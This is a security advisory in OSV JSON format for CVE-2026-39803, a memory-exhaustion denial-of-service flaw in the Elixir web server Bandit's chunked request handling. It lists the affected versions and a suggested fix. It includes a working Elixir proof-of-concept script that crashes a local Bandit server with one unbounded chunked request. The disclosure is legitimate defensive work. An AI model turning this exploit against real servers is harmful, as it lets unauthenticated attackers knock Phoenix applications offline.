CVE-2026-39803: Bandit Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9q9q-324x-93r2",
  "modified" : "2026-06-08T20:17:13Z",
  "published" : "2026-05-19T19:23:49Z",
  "aliases" : [ "CVE-2026-39803" ],
  "summary" : "Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`",
  "details" : "### Summary\n\nBandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`' default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL.\n\n### Details\n\nIn `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` — never `{:more, ...}` — so callers cannot interpose a 413.\n\nThe content-length sibling at `:210` does the right thing:\n\n```elixir\nmax_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))\n```\n\nBecause `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug.\n\n**Suggested Fix:** track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path.\n\n### PoC\n\nSelf-contained — boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires.\n\n```elixir\nMix.install([{:bandit, \"~> 1.10\"}, {:plug, \"~> 1.19\"}])\n\ndefmodule DemoApp do\n  use Plug.Builder\n\n  # The `length` option here is ignored by the attack\n  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: [\"*/*\"], json_decoder: JSON, length: 8_000_000\n  plug :respond\n\n  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, \"ok\")\nend\n\n{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)\n\n# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.\nchunk = :binary.copy(<<?A>>, 1_048_576)\nframe = \"#{Integer.to_string(1_048_576, 16)}\\r\\n#{chunk}\\r\\n\"\n\n{:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", 4321, [:binary, active: false])\n\n:ok =\n  :gen_tcp.send(sock, \"\"\"\n  POST / HTTP/1.1\\r\n  Host: 127.0.0.1\\r\n  Transfer-Encoding: chunked\\r\n  Content-Type: application/json\\r\n  Connection: close\\r\n  \\r\n  \"\"\")\n\nEnum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)\n:ok = :gen_tcp.send(sock, \"0\\r\\n\\r\\n\")\n\nIO.inspect(:gen_tcp.recv(sock, 0, 120_000))\n```\n\n### Impact\n\nUnauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Hex",
      "name" : "bandit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.4.0"
      }, {
        "fixed" : "1.11.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39803"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab"
  }, {
    "type" : "WEB",
    "url" : "https://cna.erlef.org/cves/CVE-2026-39803.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mtrudel/bandit"
  }, {
    "type" : "WEB",
    "url" : "https://osv.dev/vulnerability/EEF-CVE-2026-39803"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-19T19:23:49Z",
    "nvd_published_at" : "2026-05-13T14:17:32Z"
  }
}